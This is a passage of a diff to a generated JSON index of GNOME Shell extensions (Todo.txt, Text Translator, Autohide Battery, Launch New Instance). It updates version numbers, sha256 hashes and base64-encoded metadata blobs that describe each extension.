SB1c2UgdGhlIGlzc3VlIHRyYWNrZXIgb24gdGhlIGhvbWVwYWdlIHRvIHJlcG9ydCBidWdzIGFuZC9vciBmaWxlIGZlYXR1cmUgcmVxdWVzdHMsIHRoaXMgbWFrZXMgdHJhY2tpbmcgZWFzaWVyIGZvciBtZS4gVGhhbmtzIVxuXG5TZWUgdGhlIGluY2x1ZGVkIENIQU5HRUxPRy5tZCBmb3IgaW5mbyBhYm91dCBjaGFuZ2VzIGJldHdlZW4gZGlmZmVyZW50IHZlcnNpb25zLCBvciBzZWUgaXQgb25saW5lOiBodHRwczovL2dpdGxhYi5jb20vdG9kby50eHQtZ25vbWUtc2hlbGwtZXh0ZW5zaW9uL3RvZG8tdHh0LWdub21lLXNoZWxsLWV4dGVuc2lvbi8tL2Jsb2IvbWFzdGVyL0NIQU5HRUxPRy5tZCIsCiAgImdldHRleHQtZG9tYWluIjogInRvZG90eHQiLAogICJuYW1lIjogIlRvZG8udHh0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3RvZG8udHh0LWdub21lLXNoZWxsLWV4dGVuc2lvbi90b2RvLXR4dC1nbm9tZS1zaGVsbC1leHRlbnNpb24iLAogICJ1dWlkIjogInRvZG8udHh0QGJhcnQubGliZXJ0LmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiA0Ngp9"},
-    "48": {"version": "51", "sha256": "0bnrm2vw35rn1g3hddvkq00mwswr3aipkvxpj14sb98lw5rp82fz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgc2hlbGwgaW50ZXJmYWNlIGZvciB0b2RvLnR4dC4gXG5cblRvZG8udHh0IGlzIGEgZnV0dXJlLXByb29mIHN5bnRheCBmb3IgdGFza3MgKG5vdCBtYWRlIGJ5IG1lKSwgZm9yIG1vcmUgaW5mbzogaHR0cDovL3RvZG90eHQuY29tL1xuXG5Tb21lIGV4YW1wbGVzOlxuVGFzazogQmFzaWMgdGFza1xuKEEpIFRhc2s6IEhpZ2ggcHJpb3JpdHkgdGFza1xuVGFzayBAcHJvamVjdCArY29udGV4dDogVGFzayBpcyBwYXJ0IG9mIHByb2plY3QgYW5kIGhhcyBhIGNlcnRhaW4gY29udGV4dFxueCAyMDEzLTA4LTIyIFRhc2s6IFRhc2sgd2FzIGNvbXBsZXRlZCBvbiB0aGUgMjJuZCBvZiBBdWd1c3RcblxuRm9yIG1vcmUgaW5mbyBhYm91dCB0aGUgc3ludGF4OiBodHRwczovL2dpdGh1Yi5jb20vZ2luYXRyYXBhbmkvdG9kby50eHQtY2xpL3dpa2kvVGhlLVRvZG8udHh0LUZvcm1hdFxuXG5RdWljayBzdGFydDpcbldoZW4geW91IGZpcnN0IGVuYWJsZSB0aGUgZXh0ZW5zaW9uLCBjaGFuY2VzIGFyZSBoaWdoIHlvdSdsbCBzZWUgYSBbWF0gaW4geW91ciB0b3AgcGFuZWwuIElmIHlvdSBjbGljayB0aGUgW1hdLCB5b3Ugd2lsbCBiZSBhYmxlIHRvIGNob29zZSBiZXR3ZWVuIGNyZWF0aW5nIHRoZSBuZWNlc3NhcnkgZmlsZXMgYXV0b21hdGljYWxseSBvciBzZWxlY3RpbmcgeW91ciBvd24gZXhpc3RpbmcgZmlsZXMgdG8gYmUgdXNlZCB3aXRoIHRoZSBleHRlbnNpb24uXG5cblBsZWFzZSB1c2UgdGhlIGlzc3VlIHRyYWNrZXIgb24gdGhlIGhvbWVwYWdlIHRvIHJlcG9ydCBidWdzIGFuZC9vciBmaWxlIGZlYXR1cmUgcmVxdWVzdHMsIHRoaXMgbWFrZXMgdHJhY2tpbmcgZWFzaWVyIGZvciBtZS4gVGhhbmtzIVxuXG5TZWUgdGhlIGluY2x1ZGVkIENIQU5HRUxPRy5tZCBmb3IgaW5mbyBhYm91dCBjaGFuZ2VzIGJldHdlZW4gZGlmZmVyZW50IHZlcnNpb25zLCBvciBzZWUgaXQgb25saW5lOiBodHRwczovL2dpdGxhYi5jb20vdG9kby50eHQtZ25vbWUtc2hlbGwtZXh0ZW5zaW9uL3RvZG8tdHh0LWdub21lLXNoZWxsLWV4dGVuc2lvbi8tL2Jsb2IvbWFzdGVyL0NIQU5HRUxPRy5tZCIsCiAgImdldHRleHQtZG9tYWluIjogInRvZG90eHQiLAogICJuYW1lIjogIlRvZG8udHh0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3RvZG8udHh0LWdub21lLXNoZWxsLWV4dGVuc2lvbi90b2RvLXR4dC1nbm9tZS1zaGVsbC1leHRlbnNpb24iLAogICJ1dWlkIjogInRvZG8udHh0QGJhcnQubGliZXJ0LmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiA1MQp9"}
+    "48": {"version": "52", "sha256": "12sy9n8pkf7xiyhdz3r4rnhviw1sjxwdk8z19289mx2bpf25lf82", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgc2hlbGwgaW50ZXJmYWNlIGZvciB0b2RvLnR4dC4gXG5cblRvZG8udHh0IGlzIGEgZnV0dXJlLXByb29mIHN5bnRheCBmb3IgdGFza3MgKG5vdCBtYWRlIGJ5IG1lKSwgZm9yIG1vcmUgaW5mbzogaHR0cDovL3RvZG90eHQuY29tL1xuXG5Tb21lIGV4YW1wbGVzOlxuVGFzazogQmFzaWMgdGFza1xuKEEpIFRhc2s6IEhpZ2ggcHJpb3JpdHkgdGFza1xuVGFzayBAcHJvamVjdCArY29udGV4dDogVGFzayBpcyBwYXJ0IG9mIHByb2plY3QgYW5kIGhhcyBhIGNlcnRhaW4gY29udGV4dFxueCAyMDEzLTA4LTIyIFRhc2s6IFRhc2sgd2FzIGNvbXBsZXRlZCBvbiB0aGUgMjJuZCBvZiBBdWd1c3RcblxuRm9yIG1vcmUgaW5mbyBhYm91dCB0aGUgc3ludGF4OiBodHRwczovL2dpdGh1Yi5jb20vZ2luYXRyYXBhbmkvdG9kby50eHQtY2xpL3dpa2kvVGhlLVRvZG8udHh0LUZvcm1hdFxuXG5RdWljayBzdGFydDpcbldoZW4geW91IGZpcnN0IGVuYWJsZSB0aGUgZXh0ZW5zaW9uLCBjaGFuY2VzIGFyZSBoaWdoIHlvdSdsbCBzZWUgYSBbWF0gaW4geW91ciB0b3AgcGFuZWwuIElmIHlvdSBjbGljayB0aGUgW1hdLCB5b3Ugd2lsbCBiZSBhYmxlIHRvIGNob29zZSBiZXR3ZWVuIGNyZWF0aW5nIHRoZSBuZWNlc3NhcnkgZmlsZXMgYXV0b21hdGljYWxseSBvciBzZWxlY3RpbmcgeW91ciBvd24gZXhpc3RpbmcgZmlsZXMgdG8gYmUgdXNlZCB3aXRoIHRoZSBleHRlbnNpb24uXG5cblBsZWFzZSB1c2UgdGhlIGlzc3VlIHRyYWNrZXIgb24gdGhlIGhvbWVwYWdlIHRvIHJlcG9ydCBidWdzIGFuZC9vciBmaWxlIGZlYXR1cmUgcmVxdWVzdHMsIHRoaXMgbWFrZXMgdHJhY2tpbmcgZWFzaWVyIGZvciBtZS4gVGhhbmtzIVxuXG5TZWUgdGhlIGluY2x1ZGVkIENIQU5HRUxPRy5tZCBmb3IgaW5mbyBhYm91dCBjaGFuZ2VzIGJldHdlZW4gZGlmZmVyZW50IHZlcnNpb25zLCBvciBzZWUgaXQgb25saW5lOiBodHRwczovL2dpdGxhYi5jb20vdG9kby50eHQtZ25vbWUtc2hlbGwtZXh0ZW5zaW9uL3RvZG8tdHh0LWdub21lLXNoZWxsLWV4dGVuc2lvbi8tL2Jsb2IvbWFzdGVyL0NIQU5HRUxPRy5tZCIsCiAgImdldHRleHQtZG9tYWluIjogInRvZG90eHQiLAogICJuYW1lIjogIlRvZG8udHh0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuY29tL3RvZG8udHh0LWdub21lLXNoZWxsLWV4dGVuc2lvbi90b2RvLXR4dC1nbm9tZS1zaGVsbC1leHRlbnNpb24iLAogICJ1dWlkIjogInRvZG8udHh0QGJhcnQubGliZXJ0LmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiA1Mgp9"}
   }}
 , {"uuid": "text_translator@awamper.gmail.com", "name": "Text Translator", "pname": "text-translator", "description": "** Needs the package translate-shell **\nTranslation of the text by different translators (currently Google.Translate, Yandex.Translate).\nShortcuts:\nSuper+T - open translator dialog.\nSuper+Shift+T - open translator dialog and translate text from clipboard.\nSuper+Alt+T - open translator dialog and translate from primary selection.\nCtrl+Enter+ - Translate text.\nCtrl+Shift+C - copy translated text to clipboard.\nCtrl+S - swap languages.\nCtrl+D - reset languages to default\nTab+ - toggle transliteration of result text.", "link": "https://extensions.gnome.org/extension/593/text-translator/", "shell_version_map": {
     "38": {"version": "36", "sha256": "1idzgg4vb791k5dryjvznr6mfwfx59vlgabw2n3spysbwvjv2a48", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIioqIE5lZWRzIHRoZSBwYWNrYWdlIHRyYW5zbGF0ZS1zaGVsbCAqKlxuVHJhbnNsYXRpb24gb2YgdGhlIHRleHQgYnkgZGlmZmVyZW50IHRyYW5zbGF0b3JzIChjdXJyZW50bHkgR29vZ2xlLlRyYW5zbGF0ZSwgWWFuZGV4LlRyYW5zbGF0ZSkuXG5TaG9ydGN1dHM6XG5TdXBlcitUIC0gb3BlbiB0cmFuc2xhdG9yIGRpYWxvZy5cblN1cGVyK1NoaWZ0K1QgLSBvcGVuIHRyYW5zbGF0b3IgZGlhbG9nIGFuZCB0cmFuc2xhdGUgdGV4dCBmcm9tIGNsaXBib2FyZC5cblN1cGVyK0FsdCtUIC0gb3BlbiB0cmFuc2xhdG9yIGRpYWxvZyBhbmQgdHJhbnNsYXRlIGZyb20gcHJpbWFyeSBzZWxlY3Rpb24uXG5DdHJsK0VudGVyKyAtIFRyYW5zbGF0ZSB0ZXh0LlxuQ3RybCtTaGlmdCtDIC0gY29weSB0cmFuc2xhdGVkIHRleHQgdG8gY2xpcGJvYXJkLlxuQ3RybCtTIC0gc3dhcCBsYW5ndWFnZXMuXG5DdHJsK0QgLSByZXNldCBsYW5ndWFnZXMgdG8gZGVmYXVsdFxuVGFiKyAtIHRvZ2dsZSB0cmFuc2xpdGVyYXRpb24gb2YgcmVzdWx0IHRleHQuIiwKICAibmFtZSI6ICJUZXh0IFRyYW5zbGF0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudGV4dC10cmFuc2xhdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZ3Vmb2UvdGV4dC10cmFuc2xhdG9yIiwKICAidXVpZCI6ICJ0ZXh0X3RyYW5zbGF0b3JAYXdhbXBlci5nbWFpbC5jb20iLAogICJ2ZXJzaW9uIjogMzYKfQ=="}
@@ -439,7 +439,7 @@
     "47": {"version": "57", "sha256": "181rc497d3mq58k7bqbbznmm14hdfshpw3p1xzn6b0la2wbini03", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUgYmF0dGVyeSBpY29uIGluIHRvcCBwYW5lbCwgaWYgYmF0dGVyeSBpcyBmdWxseSBjaGFyZ2VkIGFuZCBBQyBpcyBjb25uZWN0ZWQiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImFpIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImF1dG9oaWRlLWJhdHRlcnkiLAogICJuYW1lIjogIkF1dG9oaWRlIEJhdHRlcnkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXV0b2hpZGUtYmF0dGVyeSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9haS9hdXRvaGlkZS1iYXR0ZXJ5IiwKICAidXVpZCI6ICJhdXRvaGlkZS1iYXR0ZXJ5QHNpdG5pay5ydSIsCiAgInZlcnNpb24iOiA1Nwp9"},
     "48": {"version": "57", "sha256": "181rc497d3mq58k7bqbbznmm14hdfshpw3p1xzn6b0la2wbini03", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUgYmF0dGVyeSBpY29uIGluIHRvcCBwYW5lbCwgaWYgYmF0dGVyeSBpcyBmdWxseSBjaGFyZ2VkIGFuZCBBQyBpcyBjb25uZWN0ZWQiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImFpIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogImF1dG9oaWRlLWJhdHRlcnkiLAogICJuYW1lIjogIkF1dG9oaWRlIEJhdHRlcnkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYXV0b2hpZGUtYmF0dGVyeSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9haS9hdXRvaGlkZS1iYXR0ZXJ5IiwKICAidXVpZCI6ICJhdXRvaGlkZS1iYXR0ZXJ5QHNpdG5pay5ydSIsCiAgInZlcnNpb24iOiA1Nwp9"}
   }}
-, {"uuid": "launch-new-instance@gnome-shell-extensions.gcampax.github.com", "name": "Launch New Instance", "pname": "launch-new-instance", "description": "Always launch a new instance when clicking in the dash or the application view.\nThis extension is part of Classic Mode and is officially supported by GNOME. Please do not report bugs using the form below, use GNOME's GitLab instance instead.", "link": "https://extensions.gnome.org/extension/600/launch-new-instance/", "shell_version_map": {
+, {"uuid": "launch-new-instance@gnome-shell-extensions.gcampax.github.com", "name": "Launch new instance", "pname": "launch-new-instance", "description": "Always launch a new instance when clicking in the dash or the application view.\nThis extension is part of Classic Mode and is officially supported by GNOME. Please do not report bugs using the form below, use GNOME's GitLab instance instead.", "link": "https://extensions.gnome.org/extension/600/launch-new-instance/", "shell_version_map": {
     "38": {"version": "29", "sha256": "0qb1ajjwm076zxsd314n7f5vl72ih7j4h9y84bqwb9cxa53mp4g4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAibmFtZSI6ICJMYXVuY2ggbmV3IGluc3RhbmNlIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0bGFiLmdub21lLm9yZy9HTk9NRS9nbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAidXVpZCI6ICJsYXVuY2gtbmV3LWluc3RhbmNlQGdub21lLXNoZWxsLWV4dGVuc2lvbnMuZ2NhbXBheC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDI5Cn0="},
     "40": {"version": "31", "sha256": "0c667wdrpfd8bh2wygglzk1bp63z6xvknhj2rhw8v3vlmhpn8994", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb25zIiwKICAibmFtZSI6ICJMYXVuY2ggbmV3IGluc3RhbmNlIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAibGF1bmNoLW5ldy1pbnN0YW5jZUBnbm9tZS1zaGVsbC1leHRlbnNpb25zLmdjYW1wYXguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzMQp9"},
     "41": {"version": "33", "sha256": "1z2kjrqaziw5v5sig92kng302w3pdkkkcl7dlhwjqlgfhkhpdxlm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIG5ldyBpbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MSIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzMKfQ=="},
@@ -448,8 +448,8 @@
     "44": {"version": "36", "sha256": "06rhp1difpb7j1l49lay3h5wscf8nv2p0xqs70rss6yvjywsgi34", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIG5ldyBpbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzYKfQ=="},
     "45": {"version": "39", "sha256": "0ap68r89z2z95vvmr6k009gczijanlkp002dbvkr5dpvzknzzc09", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIG5ldyBpbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="},
     "46": {"version": "44", "sha256": "1hx6rh1ymm1lbd1pxmg6lymz4sv678gccv722ywv5hhls61cxwb2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIG5ldyBpbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNDQKfQ=="},
-    "47": {"version": "45", "sha256": "1fpma1aj05vhyhrzvn9b1knqr7176vxbnc9pqfzca4gkx0l6yccv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIG5ldyBpbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNDUKfQ=="},
